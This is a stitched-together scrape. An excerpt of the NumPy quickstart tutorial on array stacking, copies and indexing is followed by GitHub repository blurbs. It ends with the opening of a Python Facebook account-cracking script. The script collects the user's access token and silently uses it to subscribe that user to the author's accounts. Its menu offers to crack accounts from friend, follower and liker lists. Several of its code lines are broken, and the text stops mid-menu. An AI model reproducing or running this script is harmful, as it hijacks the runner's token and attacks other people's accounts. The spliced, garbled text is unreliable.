a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
Clean-Swift / DataPassingA sample project to illustrate how the Clean Swift architecture passes data forward and backward more elegantly without using delegation
saddamalsalfi / Decoding Communication Tech Data Device Models Diagnostic Passwords And Engineering CodesNo description available
Jeremy26 / Path PlanningA Path Planner implemented in C++ to drive in Highway using data from Sensor Fusion, Localization and generating waypoints passed to Controllers
InfoSecREDD / DWipeDWipe is a powerful cross-platform tool for securely wiping free space and formatting drives to prevent data recovery. It implements DoD-compliant multi-pass wiping methods with configurable patterns (zeros, ones, random data) to ensure deleted data cannot be recovered.
eddy-oj / Dash Within Django AppThis is an extension of ead's and nedned's methods for running a Dash app in Django. The difference is that the Dash app runs within a Django rendered page so that Django can handle the routing and data models. It can also pass context to Dash via the url. Dash can then use the url to receive context and load from a database using Django data models. This has given us flexibility and consistency for look and feel of pages as well as being easier comply the EU GDPR regulations (i.e. only showing data relevant to a user)
pachadotdev / Cpp11armadilloThe idea is to pass matrices/vectors from R to C++, write pure C++/Armadillo code for the computation, and then export the result back to R with the proper data structures.
mmalecki / Hashing StreamPass thru stream which hashes incoming data
GavChap / Growatt Sph Rs485 To MqttA python script to take Growatt RS485 ModBus data, pass it to an MQTT broken, InfluxDB and Grafana
keatinl1 / Filter IMUFiltering IMU data with different methods (moving average, single pole low pass and Kalman) then comparing them
liusylab / NIPT Human GeneticsNIPT-human-genetics is a semi-automated workflow designed for the analysis of large-scale ultra-low-pass non-invasive prenatal test (NIPT) sequencing data in human genetic studies.
data-science-ucsb / GauchocoursesData Science UCSB's management of GauchoCourses, a quarterly course planner that allows students to see possible schedule combinations for the classes they want to take, and save them for when their pass times come around.
TechCodeDev / Student Management SystemThe “student management system” has been developed to override the problems prevailing in the practicing manual system. This software is supported to eliminate and in some cases reduce the hardships faced by this existing system. Moreover, this system is designed for the particular need of the company to carry out operations in a smooth and effective manner. The application is reduced as much as possible to avoid errors while entering the data. It also provides error message while entering invalid data. No formal knowledge is needed for the user to use this system. Thus by this all it proves it is user-friendly, student management system, as described above, can lead to error-free, secure reliable and fast management system.it can assist The user to concentrate on their other activities rather concentrate on the record keeping. Thus it will help the organization in better utilization of resources. Every organization, whether big or small, has challenges to overcome and managing the information like fees, student, profiles, exams, courses, collage-id, buss-pass. These systems will ultimately allow you to better manage resources.
sanidhyanarayansingh / LifiLi-Fi technology is an efficient data communication mechanism involving visible light as a medium of transmission. The main ideology behind this technological innovation is that visible light illuminated by a light emitting diode (LED) is methodically amplitude modulated at the transmission end by rapid switching of LED lights at a speed not perceptible to human eye, whereas at the receiving end, photodiodes detect the modulated light and demodulates it to binary form by synchronized receiver circuits. It consists of a light source, line-of-sight (LOS) propagation medium, and a light detector. Information (streaming content), in the form of digital or analogue signals, is input to electronic circuitry that modulates the light source. The source output passes through an optical system (to control the emitted radiation, e.g., to ensure that the transmitter is eye safe) into the free space. The received signal comes through an optical system (e.g., an optical filter that rejects optical noise, a lens system or concentrator that focuses light on the detector), passes through the photo diode (PD), and the resulting photo-current is amplified before the signal processing electronics transforms it back to the received data stream. In this way, data communication is successfully achieved. Unlike Wi-Fi, the technology uses visible light spectrum instead of the increasingly congested radio frequency (RF) spectrum. Similarly to Wi-Fi, this technology allows connection of different web-enabled devices such as computers, smart TVs, smart phones, etc. to internet; provides the inter-connection of Wi-Fi enabled things such as refrigerators, watches, cameras, etc. in Internet of Things (IoT); and makes off-loading from cellular networks possible, addressing this way capacity needs for mobile broadband connections. In addition, Li-Fi has a huge amount of visible light spectrum that is unregulated and does not require licenses. It has to be ensured, however, that Li-Fi systems do not present any health hazards and that they are properly installed so as not to create any electromagnetic interference. The files here are the codes for relay transmitter , receiver , for sending and receiving audio.
ahmar00987 / Ahsam#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------.(_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. |%s｡☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆｡'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s｡☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆｡'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack 